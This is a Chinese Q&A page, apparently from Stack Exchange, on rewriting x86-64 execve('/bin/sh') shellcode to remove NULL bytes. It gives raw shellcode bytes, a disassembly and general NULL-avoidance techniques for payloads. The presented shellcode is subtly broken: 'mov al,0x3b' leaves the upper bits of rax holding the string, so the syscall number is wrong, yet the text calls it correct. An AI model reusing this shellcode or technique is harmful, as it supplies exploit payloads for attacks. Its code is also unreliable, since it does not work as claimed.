如何将movabs指令改写为无NULL Shellcode?附通用思路
解决movabs含NULL的shellcode改写问题
原始shellcode的问题分析
你提供的原始shellcode是典型的execve("/bin/sh", NULL, NULL)实现,但其中的movabs rbx,0x68732f6e69622f指令对应的8字节立即数末尾带了\x00(因为/bin/sh只有7字节,凑8字节补了NULL),导致shellcode中出现NULL字节,这会被很多内存防护机制截断。
改写后的无NULL shellcode
我们可以用push拼接无NULL字符串的方式替代带NULL的movabs指令,这里用/bin//sh(双斜杠不影响execve执行)凑齐8字节无NULL字符串,改写后的shellcode如下:
字节形式
31F65648B82F62696E2F2F7368504889E731D2B03B0F05
Python转义形式
"\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x31\xd2\xb0\x3b\x0f\x05"
反汇编代码
0: 31 f6 xor esi,esi 2: 56 push rsi 3: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f a: 2f 73 68 d: 50 push rax e: 48 89 e7 mov rdi,rsp 11: 31 d2 xor edx,edx 13: b0 3b mov al,0x3b 15: 0f 05 syscall
改写逻辑
- 用
xor esi,esi初始化寄存器为0,无NULL字节; - 把0压栈,后续作为execve的NULL参数;
- 用
movabs rax加载无NULL的/bin//sh字符串(8字节,无NULL); - 把字符串压栈,通过
mov rdi,rsp让rdi指向字符串地址; - 初始化rdx为0,设置syscall号到al(用
mov al,0x3b替代push 0x3b; pop rax,更简洁); - 触发syscall执行execve。
生成无NULL shellcode的通用思考流程
定位NULL字节来源
- 先把shellcode反汇编,找出所有含
\x00的部分:通常是立即数中的0字节(比如字符串末尾的NULL、数值0),或者某些指令本身的操作码(比如mov eax,0的立即数部分)。
- 先把shellcode反汇编,找出所有含
替换含NULL的核心指令
- 寄存器置0:不用
mov reg,0,改用xor reg,reg或sub reg,reg,这两个指令的操作码无NULL,且执行效率更高; - 字符串构造:避免直接用带NULL的立即数加载字符串,改用
push拼接分段字符串(利用小端序自动拼接),必要时用冗余字符(比如//代替/)凑齐4/8字节,避免补NULL;也可以用寄存器运算(inc/add/xor)逐个构造字符; - 大立即数加载:如果
movabs的立即数含NULL,要么换用push分段加载组合,要么先加载一个无NULL的基础值,再通过add/xor/shift等指令调整到目标值。
- 寄存器置0:不用
优化指令长度与可读性
- 优先用短指令:比如用
mov al,0x3b代替push 0x3b; pop rax,减少字节数且无NULL; - 尽量复用寄存器,减少冗余操作。
- 优先用短指令:比如用
验证与调试
- 用反汇编工具(如
ndisasm/objdump)检查改写后的字节是否无NULL; - 在调试器(如
gdb)中单步执行,确认每一步寄存器和栈的状态符合预期,确保shellcode能正常执行。
- 用反汇编工具(如
特殊场景处理
- 如果必须用到含NULL的立即数,可考虑用内存间接引用(需确保内存区域可控),或自修改代码动态生成指令,但这类场景极少,优先用前面的方法解决。
内容的提问来源于stack exchange,提问作者Aaron
相关产品推荐
相关产品推荐

